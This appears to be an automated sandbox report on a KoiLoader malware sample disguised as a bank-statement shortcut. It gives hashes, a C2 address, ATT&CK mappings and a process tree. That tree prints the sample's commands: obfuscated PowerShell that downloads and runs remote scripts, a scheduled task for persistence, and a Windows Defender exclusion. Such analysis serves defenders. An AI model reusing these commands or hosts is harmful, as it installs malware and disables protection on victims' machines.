koiloader | 02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb

General

Target

chase_statement_march lnk.lnk
Size

1KB
MD5

202ee916a0113699880cc2e48a73d353
SHA1

85d9b74b2afa5bf0320e746a2871ef614159db2e
SHA256

02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb
SHA512

c729137c2680e98e9686d6a2368e184fc38897032d0d0bf1e1c5a84530cc45208bfc60085be768c027d4ce52b627a7f308458ac5ed480c32289bc5a0d7c0a35e

Score

10^/10

koiloader defense_evasion discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://casettalecese.it/wp-content/uploads/2022/10

Extracted

Family

koiloader

C2

http://94.247.42.253/pilot.php

Attributes

payload_url
https://casettalecese.it/wp-content/uploads/2022/10

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/4868-57-0x0000000008380000-0x000000000838D000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
7	2120	powershell.exe
66	4868	powershell.exe
67	4868	powershell.exe
69	3940	powershell.exe
70	3940	powershell.exe
83	4868	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2384	powershell.exe
2120	powershell.exe
3940	powershell.exe
4868	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	wscript.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	wscript.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3616	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1624	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2120	powershell.exe
2120	powershell.exe
3616	powershell.exe
3616	powershell.exe
4868	powershell.exe
4868	powershell.exe
2384	powershell.exe
2384	powershell.exe
2384	powershell.exe
3940	powershell.exe
3940	powershell.exe
3940	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2120	powershell.exe
Token: SeDebugPrivilege	3616	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 5028 wrote to memory of 2120	5028	cmd.exe	87
PID 5028 wrote to memory of 2120	5028	cmd.exe	87
PID 2120 wrote to memory of 2444	2120	powershell.exe	90
PID 2120 wrote to memory of 2444	2120	powershell.exe	90
PID 2120 wrote to memory of 1624	2120	powershell.exe	91
PID 2120 wrote to memory of 1624	2120	powershell.exe	91
PID 3976 wrote to memory of 3616	3976	wscript.EXE	112
PID 3976 wrote to memory of 3616	3976	wscript.EXE	112
PID 3616 wrote to memory of 4992	3616	powershell.exe	114
PID 3616 wrote to memory of 4992	3616	powershell.exe	114
PID 3616 wrote to memory of 3096	3616	powershell.exe	115
PID 3616 wrote to memory of 3096	3616	powershell.exe	115
PID 3096 wrote to memory of 4868	3096	wscript.exe	116
PID 3096 wrote to memory of 4868	3096	wscript.exe	116
PID 3096 wrote to memory of 4868	3096	wscript.exe	116
PID 2628 wrote to memory of 64	2628	DllHost.exe	119
PID 2628 wrote to memory of 64	2628	DllHost.exe	119
PID 2628 wrote to memory of 64	2628	DllHost.exe	119
PID 64 wrote to memory of 2384	64	cmd.exe	121
PID 64 wrote to memory of 2384	64	cmd.exe	121
PID 64 wrote to memory of 2384	64	cmd.exe	121
PID 4868 wrote to memory of 4448	4868	powershell.exe	122
PID 4868 wrote to memory of 4448	4868	powershell.exe	122
PID 4868 wrote to memory of 4448	4868	powershell.exe	122
PID 4448 wrote to memory of 3940	4448	cmd.exe	124
PID 4448 wrote to memory of 3940	4448	cmd.exe	124
PID 4448 wrote to memory of 3940	4448	cmd.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\chase_statement_march lnk.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('htphwirvsci9k5.js jycqenaew'); $getf='Dow'+'nl'+'oadF'+'ile'; $x5yd46kp30cefn911gg = New-Object Net.WebClient; $wscs = 'wscript '; $x5yd46kp30cefn911gg.$getf('https://casettalecese.it/wp-content/uploads/2022/10/hemigastrectomySDur.php', 'htphwirvsci9k5.js'); . ('curl.e'+'xe') -s -o cs5c09hr6xij 'https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php'; mv cs5c09hr6xij 'jycqenaew.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn jycqenaew;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o cs5c09hr6xij https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php
    3⤵
    PID:2444
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\htphwirvsci9k5.js jycqenaew" /tn jycqenaew
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1624

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\htphwirvsci9k5.js jycqenaew
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "schtasks /delete /tn jycqenaew /f; wscript $env:programdata\jycqenaew.js "
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn jycqenaew /f
    3⤵
    PID:4992
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\ProgramData\jycqenaew.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3096
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://casettalecese.it/wp-content/uploads/2022/10'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7z9E14VRS2OE'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/boomier10qD0.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/nephralgiaMsy.ps1'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4868
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4448
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3940

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:64
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2384

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r36b1fe7c-a761-496a-8112-d9eb33b24287r.js"
1⤵
PID:3096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Indicator Removal

1

T1070

Clear Persistence

1

T1070.009

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\cs5c09hr6xij

Filesize
1KB

MD5
4158e856ffe280ff282e1de33cf6dda1

SHA1
69c2b8da2c5c852583f39c78b9f64735b2e8172d

SHA256
0afb21d22c9d8861e55859eaaf5a9f81ffebd8907700bdf2f804a95409f6d769

SHA512
539a0a2d914e091c6f9a604b9dc9351489bf61eff9ebc75cbfc785603dd5fdd3bc70376b5712e36fc3d04959f7f4ae2c0d60985b36612ff4f543acd77e723d30

Download Submit
C:\ProgramData\htphwirvsci9k5.js

Filesize
198B

MD5
af9f1f2076317c03e21d56367e638af4

SHA1
61c4f850591f851acd3108104ef14f0fe32f95a6

SHA256
70835a8f7ea6c93942935a6f9fef1ae4591c22e873e3b06000ef01437f2090c1

SHA512
c280492024a902e3988c88dca7e21fc622df1bdf66796d9baf06a3b393550ac3d771589b0c51e7c246991d314c0729e7631cd1c08ba575683d9abdef7295b29c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
d136e1c06d3fa8b0736aa4939b86fce5

SHA1
c4e91a0ecd6b63317f66b4a1b650976718cc4558

SHA256
4c786351db8277fb8b6beb22f02ec72deaac6bf1a705d0f61321f159a9ef500a

SHA512
61a06f4e2848fc5d0d1687b8f257f553f85dcf047045c40526a52902a7d9b9076ed70b63a9a226f8550aa91a8f725cc324a7709abf4fd36f45f4948c15b7764e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5c19faffc721938d5476051175e33c50

SHA1
f04851981aee4a9ac9e334cda9171353537404be

SHA256
4c2e4bdde066989dcb06e2d697388bb6d86ecab2469e7a6d2ea32ecbe8c6ae35

SHA512
0c32a28c38650ba69868b35086e729e8fa9610c59a16a8e79e8d130cfa6340fe16db846dd5bd86b77f4ebe56152a63ea9d26becdd57e727c205326a31033df95

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iyviafrs.gqw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2120-13-0x00007FF846460000-0x00007FF846F21000-memory.dmp

Filesize
10.8MB

Download
memory/2120-20-0x00007FF846460000-0x00007FF846F21000-memory.dmp

Filesize
10.8MB

Download
memory/2120-2-0x00007FF846463000-0x00007FF846465000-memory.dmp

Filesize
8KB

Download
memory/2120-14-0x00007FF846460000-0x00007FF846F21000-memory.dmp

Filesize
10.8MB

Download
memory/2120-3-0x000001EB47A10000-0x000001EB47A32000-memory.dmp

Filesize
136KB

Download
memory/2384-95-0x0000000007120000-0x0000000007134000-memory.dmp

Filesize
80KB

Download
memory/2384-70-0x0000000070A90000-0x0000000070ADC000-memory.dmp

Filesize
304KB

Download
memory/2384-88-0x0000000007140000-0x00000000071D6000-memory.dmp

Filesize
600KB

Download
memory/2384-82-0x0000000006F30000-0x0000000006F3A000-memory.dmp

Filesize
40KB

Download
memory/2384-80-0x0000000006B00000-0x0000000006B1E000-memory.dmp

Filesize
120KB

Download
memory/2384-81-0x0000000006D70000-0x0000000006E13000-memory.dmp

Filesize
652KB

Download
memory/2384-97-0x0000000007200000-0x0000000007208000-memory.dmp

Filesize
32KB

Download
memory/2384-96-0x0000000007210000-0x000000000722A000-memory.dmp

Filesize
104KB

Download
memory/2384-93-0x00000000070C0000-0x00000000070D1000-memory.dmp

Filesize
68KB

Download
memory/2384-94-0x0000000007110000-0x000000000711E000-memory.dmp

Filesize
56KB

Download
memory/2384-69-0x0000000006B20000-0x0000000006B52000-memory.dmp

Filesize
200KB

Download
memory/3940-103-0x0000000008370000-0x00000000083C0000-memory.dmp

Filesize
320KB

Download
memory/3940-100-0x0000000007B00000-0x0000000007B22000-memory.dmp

Filesize
136KB

Download
memory/3940-101-0x00000000088A0000-0x0000000008E44000-memory.dmp

Filesize
5.6MB

Download
memory/3940-104-0x0000000008460000-0x00000000084F2000-memory.dmp

Filesize
584KB

Download
memory/3940-102-0x0000000007C50000-0x0000000007C6A000-memory.dmp

Filesize
104KB

Download
memory/4868-35-0x0000000002FA0000-0x0000000002FD6000-memory.dmp

Filesize
216KB

Download
memory/4868-57-0x0000000008380000-0x000000000838D000-memory.dmp

Filesize
52KB

Download
memory/4868-55-0x00000000082F0000-0x00000000082F1000-memory.dmp

Filesize
4KB

Download
memory/4868-54-0x0000000007C00000-0x000000000827A000-memory.dmp

Filesize
6.5MB

Download
memory/4868-53-0x0000000006970000-0x000000000698A000-memory.dmp

Filesize
104KB

Download
memory/4868-52-0x00000000065B0000-0x00000000065FC000-memory.dmp

Filesize
304KB

Download
memory/4868-51-0x0000000006570000-0x000000000658E000-memory.dmp

Filesize
120KB

Download
memory/4868-49-0x0000000005F60000-0x00000000062B4000-memory.dmp

Filesize
3.3MB

Download
memory/4868-38-0x0000000005660000-0x00000000056C6000-memory.dmp

Filesize
408KB

Download
memory/4868-39-0x00000000056D0000-0x0000000005736000-memory.dmp

Filesize
408KB

Download
memory/4868-37-0x00000000055C0000-0x00000000055E2000-memory.dmp

Filesize
136KB

Download
memory/4868-36-0x00000000057B0000-0x0000000005DD8000-memory.dmp

Filesize
6.2MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads